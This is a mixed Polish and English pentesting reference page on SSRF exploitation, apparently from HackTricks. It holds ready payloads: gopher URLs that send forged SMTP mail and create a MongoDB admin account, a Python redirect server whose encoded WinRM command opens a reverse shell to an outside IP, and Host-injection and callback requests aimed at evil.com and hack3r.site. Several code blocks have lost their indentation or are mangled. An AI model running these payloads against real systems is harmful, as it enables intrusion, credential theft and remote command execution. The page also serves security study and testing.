SSRF (Server Side Request Forgery)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Podatność Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wykonywała HTTP requests do domeny według własnego wyboru. Ta podatność naraża serwer na dowolne zewnętrzne żądania sterowane przez atakującego.

Przechwytywanie SSRF

Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez Ciebie. Aby przechwycić interakcję HTTP lub DNS możesz użyć narzędzi takich jak:

Ominięcie białej listy domen

Zazwyczaj okaże się, że SSRF działa tylko dla niektórych domen umieszczonych na białej liście lub URL. Na poniższej stronie znajdziesz kompilację technik umożliwiających obejście tej białej listy:

URL Format Bypass

Ominięcie poprzez Open Redirect

Jeśli serwer jest właściwie chroniony, możesz obejść wszystkie ograniczenia, wykorzystując Open Redirect znajdujący się na stronie. Ponieważ strona prawdopodobnie pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie follow redirects, możesz wykorzystać Open Redirect, aby zmusić serwer do uzyskania dostępu do dowolnego zasobu wewnętrznego.
Przeczytaj więcej tutaj: https://portswigger.net/web-security/ssrf

Protokoły

  • file://
  • Schemat URL file:// jest wspomniany, wskazując bezpośrednio na /etc/passwd: file:///etc/passwd
  • dict://
  • Schemat URL DICT jest opisany jako używany do dostępu do definicji lub list słów przez protokół DICT. Podany przykład ilustruje skonstruowany URL kierujący do konkretnego słowa, bazy danych i numeru wpisu, oraz przypadek, w którym skrypt PHP może zostać wykorzystany do połączenia z serwerem DICT przy użyciu poświadczeń dostarczonych przez atakującego: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Wskazano protokół do bezpiecznego transferu plików przez SSH; przykład pokazuje, jak skrypt PHP może zostać wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, działający przez UDP, jest wspomniany wraz z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Żądanie TFTP jest wysyłane do ‘generic.com’ na porcie ‘12346’ o plik ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ta sekcja opisuje Lightweight Directory Access Protocol, podkreślając jego użycie do zarządzania i dostępu do rozproszonych usług katalogowych w sieciach IP. Interakcja z serwerem LDAP na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisano metodę wykorzystania SSRF do interakcji z usługami SMTP na localhost, w tym kroki ujawniające wewnętrzne nazwy domen oraz dalsze działania śledcze oparte na tych informacjach.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Jeśli SSRF jest wykonywany przez curl, curl ma funkcję o nazwie URL globbing, która może być użyteczna do bypassu WAF-ów. Na przykład w tym writeup możesz znaleźć ten przykład dla path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Omówiona jest zdolność protokołu Gopher do określania IP, portu i bajtów do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia payloadów. Ilustrowane są dwa różne zastosowania:

Gopher://

Korzystając z tego protokołu możesz określić IP, port i bajty, które chcesz, żeby serwer wysłał. Wtedy możesz w zasadzie wykorzystać SSRF, aby komunikować się z dowolnym serwerem TCP (ale najpierw musisz wiedzieć, jak rozmawiać z daną usługą).
Na szczęście możesz użyć Gopherus do tworzenia payloadów dla kilku usług. Dodatkowo, remote-method-guesser może być użyty do tworzenia gopher payloadów dla usług Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Utwórz użytkownika o username=admin, password=admin123 i permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF przez Referrer header i inne

Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, co niezamierzenie naraża aplikacje na luki typu Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne URL-e wymienione w nagłówku Referrer w celu analizy zawartości strony odsyłającej. Aby wykryć te luki, zaleca się użycie wtyczki Burp Suite “Collaborator Everywhere”, wykorzystującej sposób, w jaki narzędzia analityczne przetwarzają nagłówek Referer, aby zidentyfikować potencjalne powierzchnie ataku SSRF.

SSRF przez dane SNI z certyfikatu

Przykład błędnej konfiguracji, która może umożliwić połączenie z dowolnym backendem przy prostym ustawieniu, zilustrowano na przykładzie konfiguracji Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Takie ustawienie ujawnia podatność Server-Side Request Forgery (SSRF), którą można wykorzystać, podając żądany adres IP lub nazwę domeny w polu SNI. Poniżej znajduje się przykład eksploatacji wymuszający połączenie z dowolnym backendem, takim jak internal.host.com, przy użyciu polecenia openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF przez TLS AIA CA Issuers (Java mTLS)

Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate podczas handshake, before any HTTP logic runs.

  • Requirements: włączone mTLS, włączone pobieranie AIA w Javie, atakujący może przedstawić certyfikat klienta z przygotowanym URI AIA CA Issuers.
  • Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

The Java certpath debug output shows CertStore URI:http://localhost:8080, and nc captures the HTTP request with the controllable User-Agent from -Dhttp.agent, proving SSRF during certificate validation.

  • DoS via file://: ustawienie AIA CA Issuers na file:///dev/urandom na systemach podobnych do Unix powoduje, że Java traktuje to jak CertStore i czyta nieograniczone losowe bajty, zajmując rdzeń CPU i blokując kolejne połączenia nawet po rozłączeniu klienta.

SSRF via CSS Pre-Processors

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful @import directive. During compilation the LESS engine will fetch the resources referenced in @import statements and embed (“inline”) their contents into the resulting CSS when the (inline) option is used.

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF z Command Injection

Warto spróbować payloadu takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderowanie PDF-ów

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

Z SSRF do DoS

Utwórz kilka sesji i spróbuj pobrać duże pliki, wykorzystując SSRF z tych sesji.

SSRF PHP Functions

Sprawdź następującą stronę w poszukiwaniu podatnych funkcji PHP, a nawet Wordpress:

PHP SSRF

SSRF Redirect to Gopher

For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Błędnie skonfigurowane proxies prowadzące do SSRF

Sztuczki from this post.

Flask

Flask proxy vulnerable code ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask pozwala użyć **`@`** jako znaku początkowego, co pozwala uczynić **początkową nazwę hosta nazwą użytkownika** i wstrzyknąć nową. Żądanie ataku:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Wrażliwy kod:

Odkryto, że możliwe jest rozpoczęcie ścieżki żądania znakiem ;, co umożliwia następnie użycie @ i wstrzyknięcie nowego hosta do uzyskania dostępu. Żądanie ataku:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Wbudowany serwer WWW PHP

Wrażliwy kod PHP ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia: można go użyć tylko dla ścieżki root `/`, a kropki `.` nie są dozwolone przed pierwszym ukośnikiem, więc trzeba użyć np. adresu IP zakodowanego w dotless-hex:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Jeśli masz problems z exfiltrate content from a local IP z powodu CORS/SOP, DNS Rebidding może być użyte do obejścia tego ograniczenia:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin is a tool to perform DNS rebinding attacks. Zawiera niezbędne komponenty do przemapowania adresu IP nazwy DNS serwera atakującego na adres IP maszyny docelowej oraz do serwowania attack payloads w celu wykorzystania podatnego oprogramowania na maszynie docelowej.

Sprawdź również publicznie działający serwer pod adresem http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Attack:

  1. Ask the user/bot access a domain controlled by the attacker
  2. The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
  3. A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
  4. The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
  5. In the DNS request a private IP address is given now (127.0.0.1 for example)
  6. The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Różnica między blind SSRF a nie-blind polega na tym, że w blind nie możesz zobaczyć odpowiedzi żądania SSRF. W związku z tym jest to trudniejsze do wykorzystania, ponieważ będziesz mógł wykorzystać tylko dobrze znane podatności.

Time based SSRF

Sprawdzając czas odpowiedzi serwera, może być możliwe ustalić, czy zasób istnieje czy nie (być może dostęp do istniejącego zasobu zajmuje więcej czasu niż dostęp do nieistniejącego).

From blind to full abusing status codes

Zgodnie z tym blog post, niektóre blind SSRF mogą występować, ponieważ nawet jeśli docelowy URL odpowiada kodem statusu 200 (np. AWS metadata), te dane nie są prawidłowo sformatowane i w związku z tym aplikacja może odmówić ich wyświetlenia.

Jednak stwierdzono, że wysyłając odpowiedzi przekierowujące o kodach od 305 do 309 w ramach SSRF, możliwe jest spowodowanie, że aplikacja podąży za tymi przekierowaniami, jednocześnie przechodząc w tryb błędu, który przestaje sprawdzać format danych i może je po prostu wypisać.

The python server used to exploit this is th following:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Steps:

  • Najpierw 302 powoduje, że aplikacja zaczyna podążać za przekierowaniem.
  • Następnie otrzymuje 305 → 306 → 307 → 308 → 309 → 310.
  • Po piątym dziwnym kodzie PoC ostatecznie zwraca 302 → 169.254.169.254 → 200 OK.

What happens inside the target:

  • libcurl sama podąża za 305–310; po prostu normalizuje nieznane kody do „follow.”
  • Po N dziwnych przekierowaniach (≥ 5 tutaj) własny wrapper aplikacji decyduje, że „coś jest nie tak” i przełącza się w tryb błędu przeznaczony do debugowania.
  • W tym trybie zrzuca cały łańcuch przekierowań oraz końcową treść odpowiedzi z powrotem do zewnętrznego wywołującego.
  • Efekt: attacker widzi każdy header + metadata JSON, misja wykonana.

Zauważ, że to pozwala leakować kody statusu, których wcześniej nie dało się leakować (np. 200). Jednak jeśli w jakiś sposób mógłbyś również wybrać kod statusu odpowiedzi (wyobraź sobie, że możesz sprawić, że AWS metadata odpowie kodem 500), mogą istnieć takie kody statusu, które bezpośrednio leakują zawartość odpowiedzi.

HTML-to-PDF renderers as blind SSRF gadgets

Biblioteki takie jak TCPDF (i wrappery jak spipu/html2pdf) automatycznie pobierają dowolne URL-e obecne w attacker-controlled HTML podczas renderowania PDF-a. Każdy <img> lub <link rel="stylesheet"> atrybut jest rozwiązywany po stronie serwera za pomocą cURL, getimagesize(), lub file_get_contents(), więc możesz zmusić PDF worker do sondowania hostów wewnętrznych, nawet jeśli żadna odpowiedź HTTP nie jest ci zwracana.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 wykonuje kilka prób pobrania dla każdego zasobu <img>, więc pojedynczy payload może wygenerować wiele żądań (helpful for timing-based port scans).
  • html2pdf kopiuje zachowanie TCPDF dla <img> i dodaje pobieranie CSS w Css::extractStyle(), które po płytkiej walidacji schematu po prostu wywołuje file_get_contents($href). Można to wykorzystać do uderzania w loopback services, RFC1918 ranges lub cloud metadata endpoints.
  • Połącz ten prymityw SSRF z HTML-to-PDF path traversal tricks, aby leak zarówno wewnętrzne odpowiedzi HTTP, jak i lokalne pliki renderowane do PDF.

Osoby odpowiedzialne za hardening powinny usuwać zewnętrzne URL-e przed renderowaniem lub odizolować renderer w network sandbox; dopóki to nie nastąpi, traktuj generatory PDF jako blind SSRF proxies.

Cloud SSRF Exploitation

Jeśli znajdziesz podatność SSRF na maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje o środowisku chmurowym, a nawet poświadczenia:

Cloud SSRF

SSRF Vulnerable Platforms

Kilka znanych platform zawierało lub zawiera podatności SSRF — sprawdź je w:

SSRF Vulnerable Platforms

Tools

SSRFMap

Narzędzie do wykrywania i eksploatacji podatności SSRF

Gopherus

To narzędzie generuje Gopher payloads dla:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser to skaner podatności Java RMI, który wspiera operacje ataku dla większości typowych podatności Java RMI. Większość dostępnych operacji obsługuje opcję --ssrf, aby wygenerować SSRF payload dla żądanej operacji. W połączeniu z opcją --gopher można bezpośrednio wygenerować gotowe gopher payloads.

SSRF Proxy

SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klienta przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks